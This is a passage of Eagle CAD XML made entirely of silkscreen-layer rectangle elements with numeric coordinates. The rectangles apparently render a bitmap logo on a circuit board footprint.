y1=\"-0.2776\" x2=\"1.6896\" y2=\"-0.2731\" layer=\"21\"/>\n<rectangle x1=\"2.0626\" y1=\"-0.2776\" x2=\"2.4578\" y2=\"-0.2731\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2731\" x2=\"-2.147\" y2=\"-0.2687\" layer=\"21\"/>\n<rectangle x1=\"-1.7696\" y1=\"-0.2731\" x2=\"-1.4854\" y2=\"-0.2687\" layer=\"21\"/>\n<rectangle x1=\"1.4009\" y1=\"-0.2731\" x2=\"1.6851\" y2=\"-0.2687\" layer=\"21\"/>\n<rectangle x1=\"2.0626\" y1=\"-0.2731\" x2=\"2.4578\" y2=\"-0.2687\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2687\" x2=\"-2.1426\" y2=\"-0.2642\" layer=\"21\"/>\n<rectangle x1=\"-1.7696\" y1=\"-0.2687\" x2=\"-1.4765\" y2=\"-0.2642\" layer=\"21\"/>\n<rectangle x1=\"1.3921\" y1=\"-0.2687\" x2=\"1.6851\" y2=\"-0.2642\" layer=\"21\"/>\n<rectangle x1=\"2.0581\" y1=\"-0.2687\" x2=\"2.4578\" y2=\"-0.2642\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2642\" x2=\"-2.1426\" y2=\"-0.2598\" layer=\"21\"/>\n<rectangle x1=\"-1.7651\" y1=\"-0.2642\" x2=\"-1.4721\" y2=\"-0.2598\" layer=\"21\"/>\n<rectangle x1=\"1.3832\" y1=\"-0.2642\" x2=\"1.6807\" y2=\"-0.2598\" layer=\"21\"/>\n<rectangle x1=\"2.0581\" y1=\"-0.2642\" x2=\"2.4578\" y2=\"-0.2598\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2598\" x2=\"-2.1381\" y2=\"-0.2554\" layer=\"21\"/>\n<rectangle x1=\"-1.7651\" y1=\"-0.2598\" x2=\"-1.4632\" y2=\"-0.2554\" layer=\"21\"/>\n<rectangle x1=\"1.3787\" y1=\"-0.2598\" x2=\"1.6807\" y2=\"-0.2554\" layer=\"21\"/>\n<rectangle x1=\"2.0537\" y1=\"-0.2598\" x2=\"2.4578\" y2=\"-0.2554\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2554\" x2=\"-2.1337\" y2=\"-0.2509\" layer=\"21\"/>\n<rectangle x1=\"-1.7607\" y1=\"-0.2554\" x2=\"-1.4543\" y2=\"-0.2509\" layer=\"21\"/>\n<rectangle x1=\"1.3699\" y1=\"-0.2554\" x2=\"1.6762\" y2=\"-0.2509\" layer=\"21\"/>\n<rectangle x1=\"2.0493\" y1=\"-0.2554\" x2=\"2.4578\" y2=\"-0.2509\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2509\" x2=\"-2.1337\" y2=\"-0.2465\" layer=\"21\"/>\n<rectangle x1=\"-1.7607\" y1=\"-0.2509\" x2=\"-1.4454\" y2=\"-0.2465\" layer=\"21\"/>\n<rectangle x1=\"1.361\" y1=\"-0.2509\" x2=\"1.6762\" y2=\"-0.2465\" layer=\"21\"/>\n<rectangle x1=\"2.0493\" y1=\"-0.2509\" x2=\"2.4578\" y2=\"-0.2465\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2465\" x2=\"-2.1292\" y2=\"-0.242\" layer=\"21\"/>\n<rectangle x1=\"-1.7563\" y1=\"-0.2465\" x2=\"-1.441\" y2=\"-0.242\" layer=\"21\"/>\n<rectangle x1=\"1.3521\" y1=\"-0.2465\" x2=\"1.6718\" y2=\"-0.242\" layer=\"21\"/>\n<rectangle x1=\"2.0448\" y1=\"-0.2465\" x2=\"2.4578\" y2=\"-0.242\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.242\" x2=\"-2.1292\" y2=\"-0.2376\" layer=\"21\"/>\n<rectangle x1=\"-1.7518\" y1=\"-0.242\" x2=\"-1.4321\" y2=\"-0.2376\" layer=\"21\"/>\n<rectangle x1=\"1.3477\" y1=\"-0.242\" x2=\"1.6674\" y2=\"-0.2376\" layer=\"21\"/>\n<rectangle x1=\"2.0448\" y1=\"-0.242\" x2=\"2.4578\" y2=\"-0.2376\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2376\" x2=\"-2.1248\" y2=\"-0.2332\" layer=\"21\"/>\n<rectangle x1=\"-1.7518\" y1=\"-0.2376\" x2=\"-1.4232\" y2=\"-0.2332\" layer=\"21\"/>\n<rectangle x1=\"1.3388\" y1=\"-0.2376\" x2=\"1.6674\" y2=\"-0.2332\" layer=\"21\"/>\n<rectangle x1=\"2.0404\" y1=\"-0.2376\" x2=\"2.4578\" y2=\"-0.2332\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2332\" x2=\"-2.1248\" y2=\"-0.2287\" layer=\"21\"/>\n<rectangle x1=\"-1.7474\" y1=\"-0.2332\" x2=\"-1.4143\" y2=\"-0.2287\" layer=\"21\"/>\n<rectangle x1=\"1.3299\" y1=\"-0.2332\" x2=\"1.6629\" y2=\"-0.2287\" layer=\"21\"/>\n<rectangle x1=\"2.0359\" y1=\"-0.2332\" x2=\"2.4578\" y2=\"-0.2287\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2287\" x2=\"-2.1204\" y2=\"-0.2243\" layer=\"21\"/>\n<rectangle x1=\"-1.7474\" y1=\"-0.2287\" x2=\"-1.4099\" y2=\"-0.2243\" layer=\"21\"/>\n<rectangle x1=\"1.321\" y1=\"-0.2287\" x2=\"1.6629\" y2=\"-0.2243\" layer=\"21\"/>\n<rectangle x1=\"2.0359\" y1=\"-0.2287\" x2=\"2.4578\" y2=\"-0.2243\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2243\" x2=\"-2.1159\" y2=\"-0.2198\" layer=\"21\"/>\n<rectangle x1=\"-1.7429\" y1=\"-0.2243\" x2=\"-1.401\" y2=\"-0.2198\" layer=\"21\"/>\n<rectangle x1=\"1.3166\" y1=\"-0.2243\" x2=\"1.6585\" y2=\"-0.2198\" layer=\"21\"/>\n<rectangle x1=\"2.0315\" y1=\"-0.2243\" x2=\"2.4578\" y2=\"-0.2198\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2198\" x2=\"-2.1159\" y2=\"-0.2154\" layer=\"21\"/>\n<rectangle x1=\"-1.7429\" y1=\"-0.2198\" x2=\"-1.3921\" y2=\"-0.2154\" layer=\"21\"/>\n<rectangle x1=\"1.3077\" y1=\"-0.2198\" x2=\"1.6541\" y2=\"-0.2154\" layer=\"21\"/>\n<rectangle x1=\"2.0315\" y1=\"-0.2198\" x2=\"2.4578\" y2=\"-0.2154\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2154\" x2=\"-2.1115\" y2=\"-0.211\" layer=\"21\"/>\n<rectangle x1=\"-1.7385\" y1=\"-0.2154\" x2=\"-1.3832\" y2=\"-0.211\" layer=\"21\"/>\n<rectangle x1=\"1.2988\" y1=\"-0.2154\" x2=\"1.6541\" y2=\"-0.211\" layer=\"21\"/>\n<rectangle x1=\"2.0271\" y1=\"-0.2154\" x2=\"2.4578\" y2=\"-0.211\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.211\" x2=\"-2.1115\" y2=\"-0.2065\" layer=\"21\"/>\n<rectangle x1=\"-1.734\" y1=\"-0.211\" x2=\"-1.3788\" y2=\"-0.2065\" layer=\"21\"/>\n<rectangle x1=\"1.2899\" y1=\"-0.211\" x2=\"1.6496\" y2=\"-0.2065\" layer=\"21\"/>\n<rectangle x1=\"2.0271\" y1=\"-0.211\" x2=\"2.4578\" y2=\"-0.2065\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2065\" x2=\"-2.107\" y2=\"-0.2021\" layer=\"21\"/>\n<rectangle x1=\"-1.734\" y1=\"-0.2065\" x2=\"-1.3699\" y2=\"-0.2021\" layer=\"21\"/>\n<rectangle x1=\"1.2855\" y1=\"-0.2065\" x2=\"1.6496\" y2=\"-0.2021\" layer=\"21\"/>\n<rectangle x1=\"2.0226\" y1=\"-0.2065\" x2=\"2.4578\" y2=\"-0.2021\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2021\" x2=\"-2.1026\" y2=\"-0.1976\" layer=\"21\"/>\n<rectangle x1=\"-1.7296\" y1=\"-0.2021\" x2=\"-1.361\" y2=\"-0.1976\" layer=\"21\"/>\n<rectangle x1=\"1.2766\" y1=\"-0.2021\" x2=\"1.6452\" y2=\"-0.1976\" layer=\"21\"/>\n<rectangle x1=\"2.0182\" y1=\"-0.2021\" x2=\"2.4578\" y2=\"-0.1976\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1976\" x2=\"-2.1026\" y2=\"-0.1932\" layer=\"21\"/>\n<rectangle x1=\"-1.7296\" y1=\"-0.1976\" x2=\"-1.3566\" y2=\"-0.1932\" layer=\"21\"/>\n<rectangle x1=\"1.2677\" y1=\"-0.1976\" x2=\"1.6452\" y2=\"-0.1932\" layer=\"21\"/>\n<rectangle x1=\"2.0182\" y1=\"-0.1976\" x2=\"2.4578\" y2=\"-0.1932\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1932\" x2=\"-2.0982\" y2=\"-0.1888\" layer=\"21\"/>\n<rectangle x1=\"-1.7252\" y1=\"-0.1932\" x2=\"-1.3477\" y2=\"-0.1888\" layer=\"21\"/>\n<rectangle x1=\"1.2633\" y1=\"-0.1932\" x2=\"1.6407\" y2=\"-0.1888\" layer=\"21\"/>\n<rectangle x1=\"2.0137\" y1=\"-0.1932\" x2=\"2.4578\" y2=\"-0.1888\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1888\" x2=\"-2.0982\" y2=\"-0.1843\" layer=\"21\"/>\n<rectangle x1=\"-1.7252\" y1=\"-0.1888\" x2=\"-1.3388\" y2=\"-0.1843\" layer=\"21\"/>\n<rectangle x1=\"1.2544\" y1=\"-0.1888\" x2=\"1.6363\" y2=\"-0.1843\" layer=\"21\"/>\n<rectangle x1=\"2.0137\" y1=\"-0.1888\" x2=\"2.4578\" y2=\"-0.1843\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1843\" x2=\"-2.0937\" y2=\"-0.1799\" layer=\"21\"/>\n<rectangle x1=\"-1.7207\" y1=\"-0.1843\" x2=\"-1.33\" y2=\"-0.1799\" layer=\"21\"/>\n<rectangle x1=\"1.2455\" y1=\"-0.1843\" x2=\"1.6363\" y2=\"-0.1799\" layer=\"21\"/>\n<rectangle x1=\"2.0093\" y1=\"-0.1843\" x2=\"2.4578\" y2=\"-0.1799\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1799\" x2=\"-2.0937\" y2=\"-0.1754\" layer=\"21\"/>\n<rectangle x1=\"-1.7163\" y1=\"-0.1799\" x2=\"-1.3255\" y2=\"-0.1754\" layer=\"21\"/>\n<rectangle x1=\"1.2366\" y1=\"-0.1799\" x2=\"1.6319\" y2=\"-0.1754\" layer=\"21\"/>\n<rectangle x1=\"2.0093\" y1=\"-0.1799\" x2=\"2.4578\" y2=\"-0.1754\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1754\" x2=\"-2.0893\" y2=\"-0.171\" layer=\"21\"/>\n<rectangle x1=\"-1.7163\" y1=\"-0.1754\" x2=\"-1.3166\" y2=\"-0.171\" layer=\"21\"/>\n<rectangle x1=\"1.2322\" y1=\"-0.1754\" x2=\"1.6319\" y2=\"-0.171\" layer=\"21\"/>\n<rectangle x1=\"2.0049\" y1=\"-0.1754\" x2=\"2.4578\" y2=\"-0.171\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.171\" x2=\"-2.0848\" y2=\"-0.1665\" layer=\"21\"/>\n<rectangle x1=\"-1.7118\" y1=\"-0.171\" x2=\"-1.3078\" y2=\"-0.1665\" layer=\"21\"/>\n<rectangle x1=\"1.2233\" y1=\"-0.171\" x2=\"1.6274\" y2=\"-0.1665\" layer=\"21\"/>\n<rectangle x1=\"2.0004\" y1=\"-0.171\" x2=\"2.4578\" y2=\"-0.1665\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1665\" x2=\"-2.0848\" y2=\"-0.1621\" layer=\"21\"/>\n<rectangle x1=\"-1.7118\" y1=\"-0.1665\" x2=\"-1.2989\" y2=\"-0.1621\" layer=\"21\"/>\n<rectangle x1=\"1.2144\" y1=\"-0.1665\" x2=\"1.6274\" y2=\"-0.1621\" layer=\"21\"/>\n<rectangle x1=\"2.0004\" y1=\"-0.1665\" x2=\"2.4578\" y2=\"-0.1621\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1621\" x2=\"-2.0804\" y2=\"-0.1577\" layer=\"21\"/>\n<rectangle x1=\"-1.7074\" y1=\"-0.1621\" x2=\"-1.2944\" y2=\"-0.1577\" layer=\"21\"/>\n<rectangle x1=\"1.2056\" y1=\"-0.1621\" x2=\"1.623\" y2=\"-0.1577\" layer=\"21\"/>\n<rectangle x1=\"1.996\" y1=\"-0.1621\" x2=\"2.4578\" y2=\"-0.1577\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1577\" x2=\"-2.0804\" y2=\"-0.1532\" layer=\"21\"/>\n<rectangle x1=\"-1.703\" y1=\"-0.1577\" x2=\"-1.2856\" y2=\"-0.1532\" layer=\"21\"/>\n<rectangle x1=\"1.2011\" y1=\"-0.1577\" x2=\"1.6185\" y2=\"-0.1532\" layer=\"21\"/>\n<rectangle x1=\"1.996\" y1=\"-0.1577\" x2=\"2.4578\" y2=\"-0.1532\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1532\" x2=\"-2.076\" y2=\"-0.1488\" layer=\"21\"/>\n<rectangle x1=\"-1.703\" y1=\"-0.1532\" x2=\"-1.2767\" y2=\"-0.1488\" layer=\"21\"/>\n<rectangle x1=\"1.1922\" y1=\"-0.1532\" x2=\"1.6185\" y2=\"-0.1488\" layer=\"21\"/>\n<rectangle x1=\"1.9915\" y1=\"-0.1532\" x2=\"2.4578\" y2=\"-0.1488\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1488\" x2=\"-2.076\" y2=\"-0.1443\" layer=\"21\"/>\n<rectangle x1=\"-1.6985\" y1=\"-0.1488\" x2=\"-1.2678\" y2=\"-0.1443\" layer=\"21\"/>\n<rectangle x1=\"1.1834\" y1=\"-0.1488\" x2=\"1.6141\" y2=\"-0.1443\" layer=\"21\"/>\n<rectangle x1=\"1.9915\" y1=\"-0.1488\" x2=\"2.4578\" y2=\"-0.1443\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1443\" x2=\"-2.0715\" y2=\"-0.1399\" layer=\"21\"/>\n<rectangle x1=\"-1.6985\" y1=\"-0.1443\" x2=\"-1.2634\" y2=\"-0.1399\" layer=\"21\"/>\n<rectangle x1=\"1.1789\" y1=\"-0.1443\" x2=\"1.6141\" y2=\"-0.1399\" layer=\"21\"/>\n<rectangle x1=\"1.9871\" y1=\"-0.1443\" x2=\"2.4578\" y2=\"-0.1399\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1399\" x2=\"-2.0671\" y2=\"-0.1355\" layer=\"21\"/>\n<rectangle x1=\"-1.6941\" y1=\"-0.1399\" x2=\"-1.2545\" y2=\"-0.1355\" layer=\"21\"/>\n<rectangle x1=\"1.17\" y1=\"-0.1399\" x2=\"1.6096\" y2=\"-0.1355\" layer=\"21\"/>\n<rectangle x1=\"1.9826\" y1=\"-0.1399\" x2=\"2.4578\" y2=\"-0.1355\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1355\" x2=\"-2.0671\" y2=\"-0.131\" layer=\"21\"/>\n<rectangle x1=\"-1.6941\" y1=\"-0.1355\" x2=\"-1.2456\" y2=\"-0.131\" layer=\"21\"/>\n<rectangle x1=\"1.1612\" y1=\"-0.1355\" x2=\"1.6052\" y2=\"-0.131\" layer=\"21\"/>\n<rectangle x1=\"1.9826\" y1=\"-0.1355\" x2=\"2.4578\" y2=\"-0.131\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.131\" x2=\"-2.0626\" y2=\"-0.1266\" layer=\"21\"/>\n<rectangle x1=\"-1.6896\" y1=\"-0.131\" x2=\"-1.2411\" y2=\"-0.1266\" layer=\"21\"/>\n<rectangle x1=\"1.1523\" y1=\"-0.131\" x2=\"1.6052\" y2=\"-0.1266\" layer=\"21\"/>\n<rectangle x1=\"1.9782\" y1=\"-0.131\" x2=\"2.4578\" y2=\"-0.1266\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1266\" x2=\"-2.0626\" y2=\"-0.1221\" layer=\"21\"/>\n<rectangle x1=\"-1.6852\" y1=\"-0.1266\" x2=\"-1.2323\" y2=\"-0.1221\" layer=\"21\"/>\n<rectangle x1=\"1.1478\" y1=\"-0.1266\" x2=\"1.6008\" y2=\"-0.1221\" layer=\"21\"/>\n<rectangle x1=\"1.9782\" y1=\"-0.1266\" x2=\"2.4578\" y2=\"-0.1221\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1221\" x2=\"-2.0582\" y2=\"-0.1177\" layer=\"21\"/>\n<rectangle x1=\"-1.6852\" y1=\"-0.1221\" x2=\"-1.2234\" y2=\"-0.1177\" layer=\"21\"/>\n<rectangle x1=\"1.139\" y1=\"-0.1221\" x2=\"1.6008\" y2=\"-0.1177\" layer=\"21\"/>\n<rectangle x1=\"1.9738\" y1=\"-0.1221\" x2=\"2.4578\" y2=\"-0.1177\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1177\" x2=\"-2.0582\" y2=\"-0.1133\" layer=\"21\"/>\n<rectangle x1=\"-1.6808\" y1=\"-0.1177\" x2=\"-1.2145\" y2=\"-0.1133\" layer=\"21\"/>\n<rectangle x1=\"1.1301\" y1=\"-0.1177\" x2=\"1.5963\" y2=\"-0.1133\" layer=\"21\"/>\n<rectangle x1=\"1.9693\" y1=\"-0.1177\" x2=\"2.4578\" y2=\"-0.1133\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1133\" x2=\"-2.0538\" y2=\"-0.1088\" layer=\"21\"/>\n<rectangle x1=\"-1.6808\" y1=\"-0.1133\" x2=\"-1.2101\" y2=\"-0.1088\" layer=\"21\"/>\n<rectangle x1=\"1.1212\" y1=\"-0.1133\" x2=\"1.5963\" y2=\"-0.1088\" layer=\"21\"/>\n<rectangle x1=\"1.9693\" y1=\"-0.1133\" x2=\"2.4578\" y2=\"-0.1088\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1088\" x2=\"-2.0493\" y2=\"-0.1044\" layer=\"21\"/>\n<rectangle x1=\"-1.6763\" y1=\"-0.1088\" x2=\"-1.2012\" y2=\"-0.1044\" layer=\"21\"/>\n<rectangle x1=\"1.1168\" y1=\"-0.1088\" x2=\"1.5919\" y2=\"-0.1044\" layer=\"21\"/>\n<rectangle x1=\"1.9649\" y1=\"-0.1088\" x2=\"2.4578\" y2=\"-0.1044\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.1044\" x2=\"-2.0493\" y2=\"-0.0999\" layer=\"21\"/>\n<rectangle x1=\"-1.6763\" y1=\"-0.1044\" x2=\"-1.1923\" y2=\"-0.0999\" layer=\"21\"/>\n<rectangle x1=\"1.1079\" y1=\"-0.1044\" x2=\"1.5874\" y2=\"-0.0999\" layer=\"21\"/>\n<rectangle x1=\"1.9649\" y1=\"-0.1044\" x2=\"2.4578\" y2=\"-0.0999\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0999\" x2=\"-2.0449\" y2=\"-0.0955\" layer=\"21\"/>\n<rectangle x1=\"-1.6719\" y1=\"-0.0999\" x2=\"-1.1834\" y2=\"-0.0955\" layer=\"21\"/>\n<rectangle x1=\"1.099\" y1=\"-0.0999\" x2=\"1.5874\" y2=\"-0.0955\" layer=\"21\"/>\n<rectangle x1=\"1.9604\" y1=\"-0.0999\" x2=\"2.4578\" y2=\"-0.0955\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0955\" x2=\"-2.0449\" y2=\"-0.0911\" layer=\"21\"/>\n<rectangle x1=\"-1.6674\" y1=\"-0.0955\" x2=\"-1.179\" y2=\"-0.0911\" layer=\"21\"/>\n<rectangle x1=\"1.0901\" y1=\"-0.0955\" x2=\"1.583\" y2=\"-0.0911\" layer=\"21\"/>\n<rectangle x1=\"1.9604\" y1=\"-0.0955\" x2=\"2.4578\" y2=\"-0.0911\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0911\" x2=\"-2.0404\" y2=\"-0.0866\" layer=\"21\"/>\n<rectangle x1=\"-1.6674\" y1=\"-0.0911\" x2=\"-1.1701\" y2=\"-0.0866\" layer=\"21\"/>\n<rectangle x1=\"1.0857\" y1=\"-0.0911\" x2=\"1.583\" y2=\"-0.0866\" layer=\"21\"/>\n<rectangle x1=\"1.956\" y1=\"-0.0911\" x2=\"2.4578\" y2=\"-0.0866\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0866\" x2=\"-2.036\" y2=\"-0.0822\" layer=\"21\"/>\n<rectangle x1=\"-1.663\" y1=\"-0.0866\" x2=\"-1.1612\" y2=\"-0.0822\" layer=\"21\"/>\n<rectangle x1=\"1.0768\" y1=\"-0.0866\" x2=\"1.5786\" y2=\"-0.0822\" layer=\"21\"/>\n<rectangle x1=\"1.9516\" y1=\"-0.0866\" x2=\"2.4578\" y2=\"-0.0822\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0822\" x2=\"-2.036\" y2=\"-0.0777\" layer=\"21\"/>\n<rectangle x1=\"-1.663\" y1=\"-0.0822\" x2=\"-1.1523\" y2=\"-0.0777\" layer=\"21\"/>\n<rectangle x1=\"1.0679\" y1=\"-0.0822\" x2=\"1.5786\" y2=\"-0.0777\" layer=\"21\"/>\n<rectangle x1=\"1.9516\" y1=\"-0.0822\" x2=\"2.4578\" y2=\"-0.0777\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0777\" x2=\"-2.0316\" y2=\"-0.0733\" layer=\"21\"/>\n<rectangle x1=\"-1.6586\" y1=\"-0.0777\" x2=\"-1.1479\" y2=\"-0.0733\" layer=\"21\"/>\n<rectangle x1=\"1.0635\" y1=\"-0.0777\" x2=\"1.5741\" y2=\"-0.0733\" layer=\"21\"/>\n<rectangle x1=\"1.9471\" y1=\"-0.0777\" x2=\"2.4578\" y2=\"-0.0733\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0733\" x2=\"-2.0316\" y2=\"-0.0689\" layer=\"21\"/>\n<rectangle x1=\"-1.6586\" y1=\"-0.0733\" x2=\"-1.139\" y2=\"-0.0689\" layer=\"21\"/>\n<rectangle x1=\"1.0546\" y1=\"-0.0733\" x2=\"1.5697\" y2=\"-0.0689\" layer=\"21\"/>\n<rectangle x1=\"1.9471\" y1=\"-0.0733\" x2=\"2.4578\" y2=\"-0.0689\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0689\" x2=\"-2.0271\" y2=\"-0.0644\" layer=\"21\"/>\n<rectangle x1=\"-1.6541\" y1=\"-0.0689\" x2=\"-1.1301\" y2=\"-0.0644\" layer=\"21\"/>\n<rectangle x1=\"1.0457\" y1=\"-0.0689\" x2=\"1.5697\" y2=\"-0.0644\" layer=\"21\"/>\n<rectangle x1=\"1.9427\" y1=\"-0.0689\" x2=\"2.4578\" y2=\"-0.0644\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0644\" x2=\"-2.0271\" y2=\"-0.06\" layer=\"21\"/>\n<rectangle x1=\"-1.6497\" y1=\"-0.0644\" x2=\"-1.1257\" y2=\"-0.06\" layer=\"21\"/>\n<rectangle x1=\"1.0368\" y1=\"-0.0644\" x2=\"1.5652\" y2=\"-0.06\" layer=\"21\"/>\n<rectangle x1=\"1.9427\" y1=\"-0.0644\" x2=\"2.4578\" y2=\"-0.06\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.06\" x2=\"-2.0227\" y2=\"-0.0555\" layer=\"21\"/>\n<rectangle x1=\"-1.6497\" y1=\"-0.06\" x2=\"-1.1168\" y2=\"-0.0555\" layer=\"21\"/>\n<rectangle x1=\"1.0324\" y1=\"-0.06\" x2=\"1.5652\" y2=\"-0.0555\" layer=\"21\"/>\n<rectangle x1=\"1.9382\" y1=\"-0.06\" x2=\"2.4578\" y2=\"-0.0555\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0555\" x2=\"-2.0182\" y2=\"-0.0511\" layer=\"21\"/>\n<rectangle x1=\"-1.6452\" y1=\"-0.0555\" x2=\"-1.1079\" y2=\"-0.0511\" layer=\"21\"/>\n<rectangle x1=\"1.0235\" y1=\"-0.0555\" x2=\"1.5608\" y2=\"-0.0511\" layer=\"21\"/>\n<rectangle x1=\"1.9338\" y1=\"-0.0555\" x2=\"2.4578\" y2=\"-0.0511\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0511\" x2=\"-2.0182\" y2=\"-0.0467\" layer=\"21\"/>\n<rectangle x1=\"-1.6452\" y1=\"-0.0511\" x2=\"-1.0991\" y2=\"-0.0467\" layer=\"21\"/>\n<rectangle x1=\"1.0146\" y1=\"-0.0511\" x2=\"1.5608\" y2=\"-0.0467\" layer=\"21\"/>\n<rectangle x1=\"1.9338\" y1=\"-0.0511\" x2=\"2.4578\" y2=\"-0.0467\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0467\" x2=\"-2.0138\" y2=\"-0.0422\" layer=\"21\"/>\n<rectangle x1=\"-1.6408\" y1=\"-0.0467\" x2=\"-1.0946\" y2=\"-0.0422\" layer=\"21\"/>\n<rectangle x1=\"1.0057\" y1=\"-0.0467\" x2=\"1.5564\" y2=\"-0.0422\" layer=\"21\"/>\n<rectangle x1=\"1.9294\" y1=\"-0.0467\" x2=\"2.4578\" y2=\"-0.0422\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0422\" x2=\"-2.0138\" y2=\"-0.0378\" layer=\"21\"/>\n<rectangle x1=\"-1.6364\" y1=\"-0.0422\" x2=\"-1.0857\" y2=\"-0.0378\" layer=\"21\"/>\n<rectangle x1=\"1.0013\" y1=\"-0.0422\" x2=\"1.5519\" y2=\"-0.0378\" layer=\"21\"/>\n<rectangle x1=\"1.9294\" y1=\"-0.0422\" x2=\"2.4578\" y2=\"-0.0378\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0378\" x2=\"-2.0094\" y2=\"-0.0333\" layer=\"21\"/>\n<rectangle x1=\"-1.6364\" y1=\"-0.0378\" x2=\"-1.0769\" y2=\"-0.0333\" layer=\"21\"/>\n<rectangle x1=\"0.9924\" y1=\"-0.0378\" x2=\"1.5519\" y2=\"-0.0333\" layer=\"21\"/>\n<rectangle x1=\"1.9249\" y1=\"-0.0378\" x2=\"2.4578\" y2=\"-0.0333\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0333\" x2=\"-2.0094\" y2=\"-0.0289\" layer=\"21\"/>\n<rectangle x1=\"-1.6319\" y1=\"-0.0333\" x2=\"-1.068\" y2=\"-0.0289\" layer=\"21\"/>\n<rectangle x1=\"0.9835\" y1=\"-0.0333\" x2=\"1.5475\" y2=\"-0.0289\" layer=\"21\"/>\n<rectangle x1=\"1.9249\" y1=\"-0.0333\" x2=\"2.4578\" y2=\"-0.0289\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0289\" x2=\"-2.0049\" y2=\"-0.0245\" layer=\"21\"/>\n<rectangle x1=\"-1.6319\" y1=\"-0.0289\" x2=\"-1.0635\" y2=\"-0.0245\" layer=\"21\"/>\n<rectangle x1=\"0.9747\" y1=\"-0.0289\" x2=\"1.5475\" y2=\"-0.0245\" layer=\"21\"/>\n<rectangle x1=\"1.9205\" y1=\"-0.0289\" x2=\"2.4578\" y2=\"-0.0245\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0245\" x2=\"-2.0005\" y2=\"-0.02\" layer=\"21\"/>\n<rectangle x1=\"-1.6275\" y1=\"-0.0245\" x2=\"-1.0546\" y2=\"-0.02\" layer=\"21\"/>\n<rectangle x1=\"0.9702\" y1=\"-0.0245\" x2=\"1.543\" y2=\"-0.02\" layer=\"21\"/>\n<rectangle x1=\"1.916\" y1=\"-0.0245\" x2=\"2.4578\" y2=\"-0.02\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.02\" x2=\"-2.0005\" y2=\"-0.0156\" layer=\"21\"/>\n<rectangle x1=\"-1.6275\" y1=\"-0.02\" x2=\"-1.0458\" y2=\"-0.0156\" layer=\"21\"/>\n<rectangle x1=\"0.9613\" y1=\"-0.02\" x2=\"1.5386\" y2=\"-0.0156\" layer=\"21\"/>\n<rectangle x1=\"1.916\" y1=\"-0.02\" x2=\"2.4578\" y2=\"-0.0156\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.0156\" x2=\"-1.996\" y2=\"-0.0111\" layer=\"21\"/>\n<rectangle x1=\"-1.623\" y1=\"-0.0156\" x2=\"-1.0369\" y2=\"-0.0111\" 